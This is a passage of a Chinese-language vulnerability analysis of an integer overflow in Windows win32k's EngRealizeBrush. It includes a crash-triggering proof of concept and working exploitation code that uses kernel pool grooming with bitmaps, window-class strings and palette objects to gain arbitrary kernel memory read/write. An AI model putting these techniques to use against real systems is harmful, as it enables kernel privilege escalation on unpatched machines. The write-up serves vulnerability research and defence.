与当前显示器设置的颜色配置有关,现代计算机默认设置都是 32 位真彩色,所以对应的 iBitmapFormat
成员域的值即为 32BPP
的枚举值。我们可以通过以下系统设置来改变该成员域的值:
设置显示器颜色的系统设置
psoPattern
与此同时,在函数 bGetRealizedBrush
执行期间,函数获取目标笔刷 BRUSH
对象的 +0x14
字节偏移的成员域的值,即在前期阶段分配并初始化笔刷 BRUSH
对象时创建的图案位图对象克隆的句柄,函数将该句柄值传入 SURFREF::vAltLock
函数调用以获取该位图 SURFACE
对象引用。
93650a5e 8b4714 mov eax,dword ptr [edi+14h]
93650a61 8945e8 mov dword ptr [ebp-18h],eax
93650a64 8b4330 mov eax,dword ptr [ebx+30h]
93650a67 8975ec mov dword ptr [ebp-14h],esi
93650a6a a801 test al,1
93650a6c 7439 je win32k!bGetRealizedBrush+0x57f (93650aa7)
93650aa7 a806 test al,6
93650aa9 7407 je win32k!bGetRealizedBrush+0x58a (93650ab2)
93650ab2 ff75e8 push dword ptr [ebp-18h]
93650ab5 8d4df0 lea ecx,[ebp-10h]
93650ab8 e8c5caffff call win32k!SURFREF::vAltLock (9364d582)
函数 bGetRealizedBrush 获取图案位图对象克隆的 SURFACE 对象引用
接下来函数获取该 SURFACE
对象的成员对象 SURFOBJ so
的地址,并作为第 3 个参数 psoPattern
的值传入 EngRealizeBrush
函数调用。
93650abd 8b75f0 mov esi,dword ptr [ebp-10h]
93650ac0 85f6 test esi,esi
[...]
93650c06 8b4df0 mov ecx,dword ptr [ebp-10h]
93650c09 83c110 add ecx,10h
93650c0c eb0f jmp win32k!bGetRealizedBrush+0x6f5 (93650c1d)
93650c1d 8b4334 mov eax,dword ptr [ebx+34h]
93650c20 85c0 test eax,eax
93650c22 7403 je win32k!bGetRealizedBrush+0x6ff (93650c27)
93650c24 83c010 add eax,10h
93650c27 ff75dc push dword ptr [ebp-24h]
93650c2a 56 push esi
93650c2b ff75e4 push dword ptr [ebp-1Ch]
93650c2e 51 push ecx
93650c2f 50 push eax
93650c30 53 push ebx
93650c31 ff5510 call dword ptr [ebp+10h]
图案位图对象的 SURFOBJ 成员地址被作为 psoPattern 参数
这样一来,参数 psoPattern
指向的 SURFOBJ
对象成员域 sizlBitmap
存储的值就与在用户进程创建笔刷对象时传入参数的图案位图高度和宽度数值一致。
psoMask
函数 EngRealizeBrush
的参数 psoMask
指向的 SURFOBJ
对象表示笔刷的透明掩码。笔刷使用的透明掩码是每像素 1 位的位图,并与图案位图的像素点个数相同。掩码位为 0
表示像素是笔刷的背景像素。
在函数 bGetRealizedBrush
中,只有判断目标笔刷 BRUSH
对象 +0x10
字节偏移成员域的值小于 6
时,才会将传给 EngRealizeBrush
函数调用的参数 psoMask
指定为与 psoPattern
相同的 SURFOBJ
对象;否则,该参数将始终为空,即不使用笔刷透明掩码。
v8 = *((_DWORD *)pBrush + 4);
if ( v8 >= 6 )
{
[...]
goto LABEL_95;
}
SURFREF::vLockAll((SURFREF *)&v75, *((struct HSURF__ **)a2 + v8 + 0xE9));
v9 = v75;
if ( v75 )
{
v72 = (struct _SURFOBJ *)(v75 + 0x10);
[...]
goto LABEL_124;
}
函数 bGetRealizedBrush 有条件地指定 psoMask 参数
前面的分析已经提到,当前的 BRUSH
对象在初始化时 0x10
字节偏移的成员域被赋值为 0xD
数值,表示这是一个图案笔刷;在 bGetRealizedBrush
函数调用时,观测到该成员域的值未曾被修改:
win32k!bGetRealizedBrush+0x6c:
93650594 83f806 cmp eax,6
kd> r eax
eax=0000000d
BRUSH+0x10 字节偏移的成员域仍为 0xD 数值
这样一来,笔刷透明掩码参数 psoMask
将始终指向空值,那么在函数 EngRealizeBrush
中其将不会影响变量 ulSizeTotal
的值。
触发漏洞
根据以上分析得出的结论,参数 psoTarget
指向的 SURFOBJ
对象的成员域 iBitmapFormat
值由当前系统显示器颜色设置决定,默认为 32BPP
格式枚举值;参数 psoPattern
指向的 SURFOBJ
对象的成员域 sizlBitmap
值由验证代码创建笔刷对象时传入参数的图案位图的高度宽度数值决定。因此,适当控制验证代码中传入参数的数值,将会满足漏洞关键变量发生整数向上溢出的条件。
根据结论获得以下公式:
BufferBytes = ((sizlPat_cx * 32) >> 3) * sizlPat_cy + 0x44 + 0x40;
如同初始验证代码传入的那样,当宽度值为 0x10
而高度值为 0x100
时,得到分配内存大小为 0x4084
字节,这与前面观测到的数据一致。
当前已知,变量 ulSizeTotal
是 32 位的无符号整数。当对无符号整数运用加法、乘法等可以增大数值的运算时,如果运算的结果超出 32 位整数的 0xFFFFFFFF
边界值,那么高位将会丢失,仅留下运算结果的最低 32 位数值存储在目标寄存器中。则根据以上运算公式,要满足 BufferBytes
数值溢出的条件,另外由于分配的内存大小需要大于 0
字节,则需满足以下不等式:
sizlPat_cx * sizlPat_cy > 0x3FFFFFE0;
不等式满足时,BufferBytes
数值将恰好发生整数溢出,满足 BufferBytes > 0x(1)0000 0000
条件。修改验证代码中创建位图传入参数的高度和宽度数值以满足前述不等式:
hbmp = CreateBitmap(0x36D, 0x12AE8F, 1, 1, NULL);
修改创建位图传入参数的高度和宽度数值
验证代码适当增大位图的宽度和高度,将传入参数的宽度和高度值指定为 0x36D
和 0x12AE8F
数值,使溢出后的缓冲区分配大小成为 0x10
字节。缓冲区分配成功后,函数 EngRealizeBrush
对位于缓冲区头部的 ENGBRUSH
对象的成员域进行初始化赋值。可以观测到赋值前后内存块数据的区别:
kd> dc fe7c87e0
fe7c87e0 46030001 72626547 00000000 00000000 ...FGebr........
fe7c87f0 00000000 00000000 46050003 6b687355 ...........FUshk
fe7c8800 fd6f6298 00000000 fe803b08 40000008 .bo......;.....@
fe7c8810 00000039 0000020a 00000000 00000000 9...............
fe7c8820 46140005 38616c47 010804e1 00000001 ...FGla8........
fe7c8830 80000000 00000000 00000202 00000000 ................
fe7c8840 0000053e 00000000 00000000 00000000 >...............
fe7c8850 00000000 00000000 00000000 00000000 ................
[...]
kd> dc fe7c87e0
fe7c87e0 46030001 72626547 00000000 00000010 ...FGebr........
fe7c87f0 00000000 00000000 0000036d 0000036d ........m...m...
fe7c8800 0012ae8f 00000db4 fe7c8828 40000008 ........(.|....@
fe7c8810 00000039 0000020a 00000000 00000000 9...............
fe7c8820 46140005 00000006 010804e1 00000001 ...F............
fe7c8830 80000000 00000000 00000202 00000000 ................
fe7c8840 0000053e 00000000 00000000 00000000 >...............
fe7c8850 00000000 00000000 00000000 00000000 ................
下一内存块被覆盖前后数据对比
初始化赋值操作将当前 ENGBRUSH
所在内存块的下一内存块 POOL_HEADER
头部结构破坏。接下来函数调用 SURFMEMOBJ::bCreateDIB
并传入前面分配的缓冲区 +0x40
字节偏移地址作为独立的位图像素数据区域参数 pvBitsIn
来创建新的设备无关位图对象。新创建的设备无关位图对象的像素位数格式与参数 psoTarget
指向的目标位图 SURFOBJ
对象的成员域 iBitmapFormat
一致。
*(_DWORD *)(pengbrush + 4) = ulSizeSet;
*(_DWORD *)(pengbrush + 0x1C) = cjScanPat;
*(_DWORD *)(pengbrush + 0x10) = cxPatRealized;
cxPat = cxPatRealized;
if ( bsoMaskNull )
cxPat = sizlPat_cx;
cyPat = sizlPat_cy;
*(_DWORD *)(pengbrush + 0x14) = cxPat;
*(_DWORD *)(pengbrush + 0x18) = cyPat;
*(_DWORD *)(pengbrush + 0x20) = pengbrush + 0x40;
iFormat = (int)psoPattern;
*(_DWORD *)(pengbrush + 0x3C) = psoPattern;
dbmi_cy = cyPat;
dbmi_iFormat = iFormat;
v47 = 0;
v48 = 1;
v63 = 0;
v64 = 0;
dbmi_cx = cxPatRealized;
SURFMEM::bCreateDIB( (SURFMEM *)&v63, (struct _DEVBITMAPINFO *)&dbmi_iFormat, *(PVOID *)(pengbrush + 0x20), 0, 0, 0, 0, 0, 1);
if ( !v63 )
goto LABEL_47;
函数 EngRealizeBrush 调用 SURFMEM::bCreateDIB 创建位图
函数 SURFMEMOBJ::bCreateDIB
在根据参数计算位图像素数据区域大小时,由于没有增加 0x44
和 0x40
两个 ENGBRUSH
对象的大小,所以并未发生溢出而得到 0xFFFFFF8C
数值,超过函数限制的 0x7FFFFFFF
数据区域最大范围,致使函数调用失败。
if ( BaseAddress )
{
if ( a9 )
{
eq = bUnk ? (LONGLONG)*((_DWORD *)pdbmi + 3) : cjScanTemp * (LONGLONG)*((_DWORD *)pdbmi + 2);
if ( eq > 0x7FFFFFFF )
return 0;
}
[...]
}
函数 SURFMEMOBJ::bCreateDIB 判断位图像素数据区域大小的有效性
返回到函数 EngRealizeBrush
时,由于位图对象创建失败,因此函数继续向上级返回。前面的章节已经提到,在函数 pvGetEngRbrush
中判断 bGetRealizedBrush
函数调用返回失败时,将释放刚才分配的缓冲区内存。
编译后在测试环境执行,可以观测到由于整数向上溢出造成分配缓冲区过小、使后续代码逻辑触发缓冲区溢出漏洞导致系统 BSOD 的发生:
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
BAD_POOL_HEADER (19)
[...]
Arguments:
Arg1: 00000020, a pool block header size is corrupt.
Arg2: fd6c4250, The pool entry we were looking for within the page.
Arg3: fd6c4268, The next pool entry.
Arg4: 4a030018, (reserved)
[...]
STACK_TEXT:
96f1b53c 83f35083 00000003 e2878267 00000065 nt!RtlpBreakWithStatusInstruction
96f1b58c 83f35b81 00000003 fd6c4250 000001ff nt!KiBugCheckDebugBreak+0x1c
96f1b950 83f77c6b 00000019 00000020 fd6c4250 nt!KeBugCheck2+0x68b
96f1b9cc 936534c3 fd6c4258 00000000 ffa07648 nt!ExFreePoolWithTag+0x1b1
96f1b9e0 936c9ae6 ffa07648 ffa07648 ffb6e008 win32k!pvGetEngRbrush+0x33
96f1ba44 936ee723 ffb6e018 00000000 00000000 win32k!EngBitBlt+0x2bf
96f1baa8 936ee8ab ffa07648 96f1bb10 96f1bb00 win32k!GrePatBltLockedDC+0x22b
96f1bb54 936eed96 96f1bbe8 0000f0f0 002cf9e8 win32k!GrePolyPatBltInternal+0x176
96f1bc18 83e941ea 1a0101f5 00f00021 002cf9e8 win32k!NtGdiPolyPatBlt+0x1bc
96f1bc18 774670b4 1a0101f5 00f00021 002cf9e8 nt!KiFastCallEntry+0x12a
002cf950 77056217 770561f9 1a0101f5 00f00021 ntdll!KiFastSystemCallRet
002cf954 770561f9 1a0101f5 00f00021 002cf9e8 GDI32!NtGdiPolyPatBlt+0xc
002cf980 0088b0c5 1a0101f5 00f00021 002cf9e8 GDI32!PolyPatBlt+0x1e7
漏洞验证代码触发异常
根据 WinDBG 捕获的 BSOD 信息显示,发生的异常编码是 BAD_POOL_HEADER
错误的内存池头部,异常发生在函数 pvGetEngRbrush
调用 ExFreePoolWithTag
释放前面分配的 ENGBRUSH
缓冲区期间。由于整数溢出导致后续代码逻辑触发缓冲区溢出漏洞,覆盖了下一个内存块的 POOL_HEADER
内存块头部结构,在函数 ExFreePoolWithTag
中释放当前内存块时,校验同一内存页中的下一个内存块的有效性;没有校验通过则抛出异常码为 BAD_POOL_HEADER
的异常。
0x3 利用
前面验证了漏洞的触发机理,接下来将通过该漏洞实现任意地址读写的利用目的。前面的章节已经指出,整数溢出漏洞发生后,在函数后续的代码逻辑中,初始化 ENGBRUSH
对象的成员域时,覆盖了下一内存块的头部结构和内存数据。
内存布局
利用的第一步是内存布局。在以前的分析文章中提到,内核在释放内存块时,如果内存块位于所在内存页的末尾,则不会进行相邻内存块头部结构的有效性验证。根据 Windows 内核池内存分配的逻辑,分配的内存块小于 0x1000
字节时,内存块大小越大,其被分配在内存页首地址的概率就越大。而分配较小内存缓冲区时,内核将首先搜索符合当前请求内存块大小的空间,将内存块优先安置在这些空间中。利用内核池风水技术,首先在内核中通过相关 API 分配大量特定大小的内存块以占用对应内存页的起始位置,为漏洞函数分配内存缓冲区时预留内存页末尾的空间,以防止在释放内存时由于 POOL_HEADER
内存块头部校验导致的 BSOD 发生。
根据以上的分析,我们当前实现的漏洞验证代码导致函数 EngRealizeBrush
分配缓冲区大小为 0x10
字节,加上 POOL_HEADER
结构的 8
字节,总计占用 0x18
字节的内存块空间。那就需要在进行内存布局时,提前分配 0xFE8
字节的内存块缓冲区。
分配用来占用空间和利用的内存块缓冲区通过熟悉的 CreateBitmap
函数实现。函数 CreateBitmap
用于根据指定的宽度、高度和颜色格式在内核中创建位图 SURFACE
对象。调用该函数时,系统最终在内核函数 SURFMEM::bCreateDIB
中分配内存缓冲区并初始化位图 SURFACE
对象和位图像素数据区域,内存块类型为分页会话池(0x21
)内存。当位图 SURFACE
对象的总大小在 0x1000
字节之内的话,分配内存时,将分配对应位图像素数据大小加 SURFACE
管理对象大小的缓冲区,直接以对应的 SURFACE
管理对象作为缓冲区头部,位图像素数据紧随其后存储。在当前系统环境下,SURFACE
对象的大小为 0x154
字节。
这样一来,位图像素数据区域的占用大小就成为:
0xFE8 - 8 - 0x154 = 0xE8C
当分配位图的宽度为 4
的倍数且像素位数格式为 8
位时,位图像素数据的大小直接等于宽度和高度的乘积。根据以上,可以通过以下验证代码片段分配大量的 0xFE8
字节的内存缓冲区:
for (LONG i = 0; i < 2000; i++)
{
hbitmap[i] = CreateBitmap(0xE8C, 0x01, 1, 8, NULL);
}
分配位图占位对象的验证代码片段
填充空隙
在分配大量的位图对象缓冲区之后,如果我们立刻开始调用函数 PolyPatBlt
以求触发漏洞,那么很大可能分配的缓冲区不在我们预留的内存页末尾位置,这是因为系统环境的内存中之间就存在大量的合适大小的内存空隙,在漏洞所在函数中分配内存缓冲区时,内核不一定会将该缓冲区放置在我们期望的位置。这样一来,我们需要提前填充大量的已存在的 0x18
字节大小的内存空隙。
另一方面,在进行内核内存布局时,通常我们并不能保证用来占用空间的大量内核对象同时也能够作为可利用的目标对象来使用,这就需要在布局时释放掉前面分配的占位缓冲区,再分配合适大小的垫片及一个或多个可利用内核对象的组合。这样一来,同样需要在释放先前分配缓冲区时,首先用来占用内存页末尾间隙的较小的缓冲区。
除去 8
字节的 POOL_HEADER
头部结构大小,用于填充空隙的缓冲区所需分配大小为 0x10
字节。在内核中可控分配 0x10
字节缓冲区的方式非常少,在本分析中通过用户进程调用系统函数 RegisterClassEx
注册窗口类、并将参数 lpwcx
的成员域 lpszMenuName
指定为 2
至 5
个字符的字符串的方式来实现。
ATOM WINAPI RegisterClassEx(
_In_ const WNDCLASSEX *lpwcx
);
函数 RegisterClassEx 的定义
在内核函数 win32k!InternalRegisterClassEx
中会根据传入的参数分配并初始化窗口类 tagCLS
对象:
v3 = gptiCurrent;
[...]
v8 = (void *)(*((_BYTE *)v3 + 0xD8) & 4 ? 0 : *((_DWORD *)v3 + 0x32));
[...]
v9 = ClassAlloc((int)v8, Size, 1);
函数 InternalRegisterClassEx 分配窗口类对象
由于函数 ClassAlloc
的参数 a1
被指定为当前线程关联的桌面堆的句柄,因此窗口类 tagCLS
对象被分配在对应的桌面堆中,而不是分配在内核的分页会话池中。函数后续通过调用函数 AllocateUnicodeString
分配池标签为 Ustx
的分页会话池内存块,用来替换 tagCLS
对象中存储的 lpszMenuName
指针成为新分配的菜单名称字符串。
qmemcpy((char *)v9 + 0x30, (const void *)(a1 + 4), 0x2Cu);
[...]
v18 = (const WCHAR *)*((_DWORD *)v9 + 0x14); // pcls->lpszMenuName
if ( v18 && (unsigned int)v18 & 0xFFFF0000 )
{
ms_exc.registration.TryLevel = 2;
RtlInitUnicodeString(&DestinationString, v18);
ms_exc.registration.TryLevel = -2;
[...]
if ( AllocateUnicodeString(&v27, &DestinationString.Length) )
{
*((_DWORD *)v9 + 20) = v27.Buffer;
goto LABEL_45;
}
[...]
}
函数 InternalRegisterClassEx 分配字符串缓冲区
在函数 AllocateUnicodeString
中调用函数 ExAllocatePoolWithQuotaTag
分配进程配额的内存块。由于分配的内存将作为 UNICODE 类型的以零结尾字符串的缓冲区,因此传入参数的分配缓冲区大小为 2
加 lpszMenuName
字符串的字符个数倍的 WCHAR
字符大小。
if ( UShortAdd(SourceString->Length, 2, &v6) >= 0 )
{
v3 = v6;
v4 = (WCHAR *)ExAllocatePoolWithQuotaTag((POOL_TYPE)0x29, v6, 'xtsU');
[...]
}
函数 AllocateUnicodeString 分配内存缓冲区
在函数 ExAllocatePoolWithQuotaTag
中最终分配的缓冲区大小再额外加上进程内存配额标记的 4
字节。
在调用函数 RegisterClassEx
时,如果参数 lpwcx
的成员域 lpszMenuName
指定为 2
至 5
个字符的字符串,传入函数 ExAllocatePoolWithQuotaTag
的第 2 个参数将被设为从 0x6
至 0xc
以 2
递增的数值。由于进程配额的内存块需包含 4
字节的配额标记,并且内存缓冲区以 8
字节对齐,最终分配的内存块大小为 0x18
字节,内存块类型为 0x21
分页会话池。验证代码如下:
CHAR buf[0x10] = { 0 };
for (LONG i = 0; i < 3000; i++)
{
WNDCLASSEXA Class = { 0 };
sprintf(buf, "CLS_%d", i);
Class.lpfnWndProc = DefWindowProcA;
Class.lpszClassName = buf;
Class.lpszMenuName = "Test";
Class.cbSize = sizeof(WNDCLASSEXA);
RegisterClassExA(&Class);
}
通过注册窗口类填充内存间隙的验证代码片段
溢出覆盖
根据前面章节的分析和 IDA 反汇编代码计算得到 ENGBRUSH
结构的部分成员域定义:
typedef struct _ENGBRUSH
{
DWORD dwUnk00; //<[00,04]
ULONG cjSize; //<[04,04] length of the allocation
DWORD dwUnk08; //<[08,04]
DWORD dwUnk0c; //<[0C,04]
DWORD cxPatRealized; //<[10,04]
SIZEL sizlBitmap; //<[14,08] cxPat & cyPat
DWORD cjScanPat; //<[1C,04] scanline length
PBYTE pjBits; //<[20,04] bitmap bits data pointer
DWORD dwUnk24; //<[24,04]
DWORD dwUnk28; //<[28,04]
DWORD dwUnk2c; //<[2C,04]
DWORD dwUnk30; //<[30,04]
DWORD dwUnk34; //<[34,04]
DWORD dwUnk38; //<[38,04]
DWORD iFormat; //<[3C,04] bit format from target surfobj
BYTE aj[4]; //<[40,xx] bitmap bits data base
} ENGBRUSH, *PENGBRUSH;
结构体 ENGBRUSH 的部分定义
在以上结构体定义的成员域中,除最后一个成员域 aj
之外,函数只对未被标记为 dwUnkXX
变量名的成员域进行了赋值;通过成员域重合位置计算发现,如果当前 ENGBRUSH
对象所在内存块的下一内存块中存储的是位图 SURFACE
对象,将会导致位图 SURFACE
对象中的如下成员域被覆盖:
ENGBRUSH 溢出覆盖相邻的 SURFACE 对象
当前 ENGBRUSH
对象的成员域 iFormat
的位置对应的是位于下一内存页起始位置位图 SURFACE
对象的成员域 SURFACE->so.sizlBitmap.cy
的位置,也就是说函数在为 ENGBRUSH
对象的成员域 iFormat
赋值时,实际上覆盖了下一内存块中 SURFOBJ
对象的 sizlBitmap.cy
成员域。据前面的分析可知,成员域 iFormat
被赋值为 0x6
数值。
借用这一特性,我们既可以通过缓冲区溢出覆盖使位图 SURFACE
对象的成员域 SURFACE->so.sizlBitmap.cy
较小的初值增大以利用更下一内存页中的位图 SURFACE
对象,也可以通过在同一内存页中安排并利用两个内核对象的方式来实现利用目的。
如果选择在同一内存页中使用两个内核对象,则需在利用时将前面分配的位图占位对象先行释放,再分配合适大小和类型的内核对象填充区域以进行利用。释放原位图占位对象并分配新的位图利用对象的验证代码如下:
for (LONG i = 0; i < 2000; i++)
{
bReturn = DeleteObject(hbitmap[i]);
hbitmap[i] = NULL;
}
for (LONG i = 0; i < 2000; i++)
{
hbitmap[i] = CreateBitmap(0xC98, 0x01, 1, 8, NULL);
}
释放位图占用对象并分配新的位图对象的验证代码片段
分配新的位图对象时,需要注意将位图的高度参数指定为小于 0x6
的数值(如上面的代码中指定为 0x1
),这样一来在漏洞触发导致缓冲区溢出时,函数将 sizlBitmap.cy
成员覆盖为 0x6
数值,才能使目标位图对象可控范围扩大,将紧随其后的其他内核对象的成员区域包含在内。
其一:两个位图
我们可以通过使被覆盖数据的位图 SURFACE
对象与其下一内存页相同位置的位图 SURFACE
对象相配合、通过被覆盖数据的位图 SURFACE
对象控制后一个位图 SURFACE
对象的 pvScan0
成员域指针的值,来实现任意内存地址读写。
根据前面的分析已经知道,被覆盖数据的 SURFACE
对象的成员域 SURFACE->so.sizlBitmap.cy
被覆盖成原应写入 ENGBRUSH
对象的成员域 iFormat
的值。成员域 iFormat
存储用来指示目标实现笔刷的像素位格式的枚举值,在当前的系统设置中,数值 6
表示 32
位每像素点(32BPP
)的枚举值。
依据这些条件,我们可以在创建前一个位图对象时,将位图的高度(sizlBitmap.cy
)设置为小于 6
的数值,这样一来,在缓冲区溢出覆盖发生后,成员域 sizlBitmap.cy
将被覆盖为 6
,当前位图将可以操作超出其像素数据区域范围的内存,即下一内存页中相同位置的位图 SURFACE
对象的成员区域。
在扩大前一个位图的内存访问范围之后,使用系统 API SetBitmapBits
通过前一个位图对象将后一个位图 SURFACE
对象的成员域 SURFACE->so.pvScan0
篡改为任意地址,随后操作后一个位图对象时,函数访问的像素数据内存区域将是修改后的 pvScan0
指向的内存区域。
这种利用方式的方法与《从 CVE-2016-0165 说起:分析、利用和检测(中)》分析中使用到的技术类似,具体可参考这篇文章,在这里不再赘述。
其二:利用调色板对象
通过使用调色板 PALETTE
对象同样可以实现该漏洞的利用。在内核中 GDI 子系统通过调色板将 32
位颜色索引映射到 24
位 RGB 颜色值,这是 GDI 使用调色板的方法。调色板实体通过 PALETTE
类对象进行管理;相应地,对象 PALETTE
与对应的调色板列表数据区域相关联,列表中的每个表项定义对应 24
位 RGB 颜色值等信息。
与 GDI 对象类 SURFACE
类似地,调色板 PALETTE
类作为内核 GDI 对象类,它的基类同样是 BASEOBJECT
结构体。其定义如下:
class PALETTE : public OBJECT // : public BASEOBJECT
{
public:
FLONG flPal; //<[10,04]
ULONG cEntries; //<[14,04]
ULONG ulTime; //<[18,04]
HDC hdcHead; //<[1C,04]
HDEVPPAL hSelected; //<[20,04]
ULONG cRefhpal; //<[24,04]
ULONG cRefRegular; //<[28,04]
PTRANSLATE ptransFore; //<[2C,04]
PTRANSLATE ptransCurrent; //<[30,04]
PTRANSLATE ptransOld; //<[34,04]
ULONG dwUnk38; //<[38,04]
ULONG dwUnk3c; //<[3C,04]
ULONG dwUnk40; //<[40,04]
ULONG dwUnk44; //<[44,04]
ULONG dwUnk48; //<[48,04]
PALETTEENTRY *apalColor; //<[4C,04]
PALETTE *ppalThis; //<[50,04]
PALETTEENTRY apalColorTable[1]; //<[54,xx]
};
类 PALETTE 的定义
在类 PALETTE
的定义中,我们需要关注 cEntries
,apalColor
和 apalColorTable
成员域。成员 cEntries
指定当前调色板列表的项数,成员 apalColor
指向调色板列表的起始表项的地址。成员 apalColorTable
定义成元素个数为 1
的 PALETTEENTRY
结构体类型数组。在内核中创建调色板对象时,系统在分配内存时根据传入的颜色数目适当地扩大缓冲区大小,使该成员表示的数组元素个数增大到所需的数目,并使成员 apalColor
默认指向 apalColorTable
数组的起始元素的地址。
结构体 PALETTEENTRY
大小为 4
字节,其各个成员用于定义调色板表项对应的 24
位 RGB 颜色值等信息。在 MSDN 中存在定义如下:
typedef struct tagPALETTEENTRY {
BYTE peRed;
BYTE peGreen;
BYTE peBlue;
BYTE peFlags;
} PALETTEENTRY;
结构体 PALETTEENTRY 的定义
后续在操作或访问该调色板对象时,系统将通过成员域 apalColor
指向的地址访问调色板列表数据区域,区域的范围通过成员域 cEntries
指定。这样一来,紧随位于内存页起始位置的位图 SURFACE
对象其后分配适当大小的调色板 PALETTE
对象,在前面的位图 SURFACE
对象被覆盖成员域 SURFACE->so.sizlBitmap.cy
的值以扩大访问范围之后,通过篡改当前 PALETTE
对象的成员域 cEntries
或 apalColor
的值,即可获得相对 / 任意内存地址读写的能力。
采用这种利用方式需要在漏洞触发之前进行一些预先的准备工作:将先前分配的位图占位对象释放,再在原来的起始位置分配较小的位图 SURFACE
对象,并将适当大小的调色板 PALETTE
对象分配在较小位图 SURFACE
对象的后面,恰好填充内存页中位图 SURFACE
对象和窗口类菜单名称字符串缓冲区之间的空间。由于大部分目标内存页末尾的 0x18
字节内存块被窗口类菜单名称字符串占据,那么在漏洞触发之前需要对注册的窗口类解除注册,以释放这些占据空间的字符串缓冲区。然而一部分字符串缓冲区被用来填充无关的 0x18
字节空隙,以防在触发漏洞时目标 ENGBRUSH
对象被分配在这些无关空隙中导致利用失败,因此采取折中方案,在利用之前只释放中间一部分窗口类对象,为漏洞利用预留充足的内存空隙;剩余的窗口类对象在漏洞触发之后释放。
利用调色板对象的内存布局
分配调色板对象通过在用户进程中调用 gdi32.dll
模块的导出函数 CreatePalette
来实现。
HPALETTE CreatePalette(
_In_ const LOGPALETTE *lplgpl
);
函数 CreatePalette 的定义
函数 CreatePalette
的唯一参数 lplgpl
是指向 LOGPALETTE
类型结构体对象的指针。结构体定义如下:
typedef struct tagLOGPALETTE {
WORD palVersion;
WORD palNumEntries;
PALETTEENTRY palPalEntry[1];
} LOGPALETTE;
结构体 LOGPALETTE 的定义
结构体 LOGPALETTE
的成员域 palPalEntry
为可变长度的 PALETTEENTRY
结构体类型数组,数组元素个数由结构体成员域 palNumEntries
控制。通过对参数指向结构体对象的成员域设置特定的元素个数,可控制在内核中分配的调色板 PALETTE
对象的大小。
与其他类型的 GDI 内核对象的创建类似地,创建 PALETTE
对象具体地在对应的内存对象类成员函数 PALMEMOBJ::bCreatePalette
中实现。
v9 = 0x58;
if ( a2 == 1 )
{
v9 = 4 * a3 + 0x58;
a8 &= 0x102F00u;
if ( !a3 )
return 0;
goto LABEL_18;
}
LABEL_18:
v11 = (unsigned __int32)AllocateObject(v9, 8, 0);
*(_DWORD *)this = v11;
函数 PALMEMOBJ::bCreatePalette 代码片段
函数 PALMEMOBJ::bCreatePalette
根据参数 a2
的数值设定对应的对象分配大小。由于在上级函数调用时为 a2
参数传值为 1
,因此对象分配大小被设置为 4 * a3 + 0x58
字节。参数 a3
的值源于用户进程为参数 lplgpl
指向对象的成员域 palNumEntries
设置的值,而 0x58
字节是 PALETTE
类的大小。根据参数 a3
指定的数目,函数将目标调色板 PALETTE
对象的成员数组 apalColorTable
扩展为预期的元素个数并调用函数 AllocateObject
分配足够的缓冲区空间。
分配调色板对象的验证代码如下:
PLOGPALETTE pal = NULL;
pal = (PLOGPALETTE)malloc(sizeof(LOGPALETTE) + 0x64 * sizeof(PALETTEENTRY));
pal->palVersion = 0x300;
pal->palNumEntries = 0x64; // 0x64*4+0x58+8=0x1f0
for (LONG i = 0; i < 2000; i++)
{
hpalette[i] = CreatePalette(pal);
}
free(pal);
分配调色板对象的验证代码片段
编译代码在测试环境执行,可观测到调色板对象被分配到预留的内存空间中:
Breakpoint 3 hit
win32k!PALMEMOBJ::bCreatePalette+0xd9:
93af5038 e8ffcd0000 call win32k!AllocateObject (93b01e3c)
kd> dc esp l4
94823b80 000001e8 00000008 00000000 07464b54 ............TKF.
kd> p
win32k!PALMEMOBJ::bCreatePalette+0xde:
93af503d 8bf0 mov esi,eax
kd> !pool eax
Pool page fddd3e00 region is Paged session pool
fddd3000 size: df8 previous size: 0 (Allocated) Gh15
*fddd3df8 size: 1f0 previous size: df8 (Allocated) *Gh18
Pooltag Gh18 : GDITAG_HMGR_PAL_TYPE, Binary : win32k.sys
fddd3fe8 size: 18 previous size: 1f0 (Allocated) Ustx Process: 87151620
调色板对象被分配到预留的内存空间
通过系统函数 UnregisterClass
对先前注册的窗口类对象取消注册。
BOOL WINAPI UnregisterClass(
_In_ LPCTSTR lpClassName,
_In_opt_ HINSTANCE hInstance
);
函数 UnregisterClass 的定义
函数的第 1 个参数 lpClassName
指向窗口类名称字符串,与前面注册时传入的类名成字符串成员域对应。第 2 个参数 hInstance
是指向创建窗口类的模块的句柄。由于我们在创建时未指定模块句柄,因此该参数传 NULL
即可。在窗口类对象序列中挖出空洞的验证代码如下:
CHAR buf[0x10] = { 0 };
for (LONG i = 1000; i < 2000; i++)
{
sprintf(buf, "CLS_%d", i);
UnregisterClassA(buf, NULL);
}
在窗口类对象序列中挖出空洞的验证代码片段
漏洞触发时,目标调色板 ENGBRUSH
对象已命中在预留的 0x18
字节的内存空洞中:
kd> !pool eax
Pool page fccebff0 region is Paged session pool
fcceb000 size: df8 previous size: 0 (Allocated) Gh15
fccebdf8 size: 1f0 previous size: df8 (Allocated) Gh18
*fccebfe8 size: 18 previous size: 1f0 (Allocated) *Gebr
Pooltag Gebr : Gdi ENGBRUSH
目标 ENGBRUSH 对象已命中预留的内存空洞
漏洞触发后,由于溢出覆盖将位图 SURFACE
对象的 SURFACE->so.sizlBitmap.cy
成员域覆盖成 0x6
数值,导致可控的位图像素数据范围扩大,因此可以通过系统函数 GetBitmapBits
请求获取超过其原有像素数据范围的数据。函数返回实际获取到的像素数据长度,如果传入参数的句柄指向的位图 SURFACE
对象是正常的未被污染的位图对象,函数返回原本的位图数据范围;如果参数句柄指向被污染的目标位图对象,函数将返回根据参数的数值能够获取到的数据长度。根据该性质可获取紧随目标位图对象其后的调色板 PALETTE
对象的成员数据并定位目标位图对象的句柄。定位和获取的验证代码如下:
pBmpHunted = (PDWORD)malloc(0x1000);
ZeroMemory(pBmpHunted, 0x1000);
LONG index = -1;
for (LONG i = 0; i < 2000; i++)
{
if (GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted) < 0xCA0)
{
continue;
}
index = i;
hBmpHunted = hbitmap[i];
break;
}
if (index == -1)
{
return FALSE;
}
定位目标位图对象并获取调色板成员数据的验证代码片段
获取到的像素数据被存储在 DWORD
类型的数组缓冲区中。编译后在测试环境执行,成功定位到目标位图对象的句柄,超额获取到的像素数据输出后发现包含调色板 PALETTE
对象的成员数据:
[0804]00000000 [0805]00000000 [0806]00000000 [0807]463E01BF
[0808]38316847 [0809]010813CD [0810]00000000 [0811]00000000
[0812]00000000 [0813]00000501 [0814]00000064 [0815]00002117
